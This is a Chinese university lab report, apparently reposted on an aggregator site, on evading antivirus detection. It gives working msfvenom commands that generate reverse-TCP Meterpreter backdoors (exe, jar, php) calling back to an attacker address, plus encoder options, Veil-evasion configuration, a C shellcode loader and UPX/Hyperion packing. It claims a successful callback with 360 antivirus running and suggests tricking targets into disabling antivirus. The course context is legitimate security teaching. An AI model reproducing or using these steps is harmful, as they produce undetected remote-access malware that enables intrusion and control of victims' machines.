2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践

Posted hollfull

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践相关的知识,希望对你有一定的参考价值。

一、学习目标

(1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
(2)通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、基础知识

1.1 恶意软件检测机制

1.1.1 基于特征码的检测

简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

1.1.2 启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
以检测0-day恶意软件
具有一定通用性
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高

1.1.3 基于行为的恶意软件检测

最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,

所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
1.2 免杀技术(Evading AV)综述

总体技术有:

  • 改变特征码

  • 如果你手里只有EXE

  • 加壳:压缩壳 加密壳

  • 有shellcode(像Meterpreter)

    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码

    • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件
  • 留后门的思路是这样的:

    • 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
    • 通过meterpreter这种驻留内存的payload,AV软件很难检出。
    • 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
  • 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。

    • 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错

三、实验步骤

1、使用msf编码器msfvenom生成后门程序

(1)正确使用msf编码器

  • 使用msfvenom -l encoders查看可以用于生成后门的编码器
    技术图片

  • 使用实验二生成的后门程序,放在VirusTotal上进行扫描,结果如下:

  • 用VirusTotal扫描后结果如下:
    技术图片

  • 将编码一次生成的后门程序进行扫描,一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使x00‘不出现在shellcode中,因为shellcode以x00‘为结束符。
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00‘ LHOST=192.168.61.128 LPORT=5327 -f exe > encoded1.exe结果如下:

    • 生成的截图:
      技术图片

    • 使用VirusTotal检测截图:
      技术图片

  • 将编码十次生成的后门程序进行扫描,结果如下:

    • 生成的截图:
      技术图片

    • 使用VirusTotal检测截图:
      技术图片

  • 可见多次编码对于免杀没有太大的帮助,主要有两点原因:

    • shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
    • msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

(2)msfvenom生成如jar之类的其他文件

  • 生成java后门程序:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor_java.jar
    • 生成过程截图
      技术图片

    • 使用VirusTotal检测截图
      技术图片

(2)mfsvenom生成php文件

  • 生成PHP后门程序使用命令
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor.php
    • 生成过程截图
      技术图片

    • 使用VirusTotal检测截图
      技术图片

(3)veil

我们首先使用sudo apt-get update命令和sudo apt-get upgrade命令进行更新
sudo apt-get install veil命令安装Veil
之后使用veil命令打开Veil,输入s继续安装直到完成(s为默认安装)
技术图片

输入use evasion,进入veil-evasion
技术图片

  • 输入use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IPset LHOST 192.168.61.128

  • 设置端口set LPORT 5327

  • 查看配置options

  • 输入generate生成文件,接着输入生成的文件名
    技术图片
    技术图片
    技术图片

  • 扫描结果:
    技术图片

(4)用shellcode编程生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 -f c生成一段shellcode
技术图片

然后我们用vim命令创建一个文件20175327.c,然后将unsigned char buf[]赋值到其中,内容如下:

unsigned char buf[] = 
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
此处省略
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

输入i686-w64-mingw32-g++ 20175327.c -o 20175327.exe,将此文件编译为可执行文件。
技术图片

在VirusTotal检测截图
技术图片

(5)加壳

给之前的20175327.exe加个壳得到20175327_upx.exe:
技术图片

virus totals检测结果:
技术图片
技术图片

加密壳(Hyperion)
  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/中
  • 输入命令wine hyperion.exe -v 20175327_upx.exe 20175327_upx_Hyperion.exe进行加壳:
    技术图片

通过virus totals:
技术图片

(6)使用其他课堂未介绍方法

输入veil之后再输入use evasion进入免杀平台:
技术图片

输入list可以查看可用的payloads
技术图片

输入use python/meterpreter/rev_tcp.py进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
技术图片

输入set LHOST 192.168.255.129和set LPORT 5327,分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果
技术图片

生成文件时,系统会问如何创建负载可执行文件?,我选的是2 Py2Exe,然后就能看到文件的存放目录了
技术图片

virus totals检测结果:
技术图片

2、通过组合应用各种技术实现恶意代码免杀

在上文中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能。
在刚刚的文件的基础上加压缩壳和加密壳,来实现免杀。
技术图片

  • 详细方法见上文

3、用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑环境:Windows7
杀毒软件:360安全卫士
杀软版本:12.1.0.1004
查杀时间:2020.03.29
技术图片
技术图片

三、实验中的问题

1、在加密壳时出现问题
技术图片

解决方法
使用管理员身份sudo -s
技术图片

2、veil安装过程的问题
经常会有下载不成功,先睡一觉,醒来下载网速突然飞奔

四、基础问题回答和实验体会

  • 1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

  • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

  • 优点:
    可以检测0-day恶意软件
    具有一定通用性

  • 缺点:
    实时监控系统行为,开销稍多
    没有基于特征码的精确度高

  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

  • 2、免杀是做什么?
    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

  • 3、免杀的基本方法有哪些?

  • (1)改变特征码
    如果你手里只有EXE—— 加壳:压缩壳 加密壳
    有shellcode(像Meterpreter)—— 用encode进行编码;基于payload重新编译生成可执行文件
    有源代码—— 用其他语言进行重写再编译(veil-evasion)

  • (2)改变行为
    通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据
    操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码

  • (3)非常规方法
    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    使用社工类攻击,诱骗目标关闭AV软件。
    纯手工打造一个恶意软件

  • 4、开启杀软能绝对防止电脑中恶意代码吗?
    回答:不能。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

实验体会

本次实验中所遇大问题就是veil的安全,克隆的速度极慢,而且总是挂断,但是早上速度就很快,没十几分钟就下好了,当然也可以选择用流量会快一点,我认为我对免杀处理的理解不到位,应该多学习,反复琢磨实验中的步骤和问题。

五、参考资料

2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践
kali201703安装Veil Evasion

以上是关于2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020-2 网络对抗技术 20175208 Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175208 Exp7 网络欺诈防范

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 20175303柴轩达《网络对抗技术》Exp4 恶意代码分析

2019-2020-2 20175234 《网络对抗》 Exp0 Kali安装